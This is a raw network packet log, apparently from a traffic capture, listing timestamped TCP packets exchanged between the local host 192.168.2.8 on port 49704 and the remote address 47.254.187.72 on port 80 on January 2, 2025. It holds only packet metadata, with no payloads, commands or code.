Jan 2, 2025 20:20:08.446909904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.446960926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.447012901 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.447021961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.447038889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.447047949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.447067022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.447113991 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.464878082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.464903116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.464914083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.464926004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.464936972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.464940071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.464946985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.464960098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.464998960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.464998960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.464998960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.465369940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.465390921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.465399981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.465418100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.465429068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.465437889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.465465069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.465468884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.465476990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.465488911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.465502024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.465511084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.465538025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.465538025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.465560913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.467915058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.467927933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.467940092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.467950106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.467967987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.467979908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.467981100 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.467992067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.468003035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.468034983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.468034983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.468034983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.468094110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.472625971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.472649097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.472657919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.472666979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.472671986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.472678900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.472712040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.472749949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.472769976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.472769976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.472794056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.476779938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.476794958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.476819038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.476831913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.476840973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.476851940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.476860046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.476860046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.476864100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.476877928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.476890087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.476900101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.476900101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.477085114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.483937979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.483952045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.483963013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.483973980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.483987093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.483998060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.484006882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.484010935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.484040976 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.484061003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.487987041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.488008976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.488018990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.488038063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.488046885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.488059044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.488065004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.488070965 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.488081932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.488085032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.488100052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.488122940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.488122940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.488162041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.499051094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.499068022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.499087095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.499097109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.499108076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.499110937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.499119043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.499131918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.499141932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.499147892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.499166012 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.499248981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.505645037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.505657911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.505711079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.505780935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.505793095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.505806923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.505820036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.505825996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.505830050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.505831957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.505916119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.507208109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.507219076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.507230043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.507257938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.507266045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.507272005 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.507282019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.507292986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.507304907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.507329941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.507330894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.507330894 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.507359028 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.512758017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.512773037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.512783051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.512799978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.512811899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.512811899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.512821913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.512833118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.512852907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.512887001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.518789053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.518810034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.518826962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.518837929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.518847942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.518857956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.518868923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.518879890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.518886089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.518886089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.518898964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.518979073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.521920919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.521930933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.521943092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.521967888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.521986008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.521998882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.522010088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.522022963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.522036076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.522036076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.522036076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.522068024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.522074938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.525130033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.525146961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.525158882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.525170088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.525180101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.525191069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.525194883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.525203943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.525216103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.525218964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.525264978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.525264978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.535300970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.535393953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.535410881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.535423994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.535434008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.535444975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.535454988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.535459995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.535459995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.535465956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.535496950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.535516977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.537183046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537242889 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.537249088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537259102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537276983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537290096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537301064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537302971 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.537312031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537322998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537323952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.537332058 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.537409067 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.537571907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537581921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537621021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.537661076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.537687063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537698984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537709951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537720919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537730932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537740946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.537775040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.537775040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.537775040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.556751966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.556766033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.556783915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.556794882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.556807041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.556818008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.556829929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.556849957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.556900024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.561239958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.561260939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.561269045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.561279058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.561331034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.561342001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.561352968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.561363935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.561368942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.561368942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.561374903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.561407089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.561458111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.578099012 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.578111887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.578123093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.578134060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.578145981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.578156948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.578167915 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.578172922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.578264952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.584343910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.584427118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.584438086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.584450006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.584460020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.584471941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.584482908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.584500074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.584500074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.584533930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.588027954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.588040113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.588052034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.588068008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.588080883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.588090897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.588094950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.588103056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.588112116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.588138103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.589206934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.591269016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.591279984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.591290951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.591300964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.591319084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.591320038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.591331959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.591345072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.591355085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.591408968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.591408968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.608490944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.608530998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.608547926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.608566999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.608577967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.608582973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.608582973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.608592033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.608602047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.608603954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.608614922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.608668089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.608668089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.608668089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.618729115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.618741989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.618755102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.618765116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.618818045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.618818045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.618818045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.618829966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.618839979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.618920088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.618920088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.619575024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.619636059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.619645119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.619656086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.619667053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.619693041 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.619704008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.619714975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.619719028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.619725943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.619725943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.619755983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.619775057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.620570898 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.620589972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.620662928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.620670080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.620670080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.620673895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.620686054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.620696068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.620707035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.620718002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.620732069 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.620749950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.620784044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.621197939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.621207952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.621253967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.621264935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.621265888 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:08.621275902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.621354103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.621365070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:08.621377945 CET	80	49704	47.254.187.72	192.168.2.8
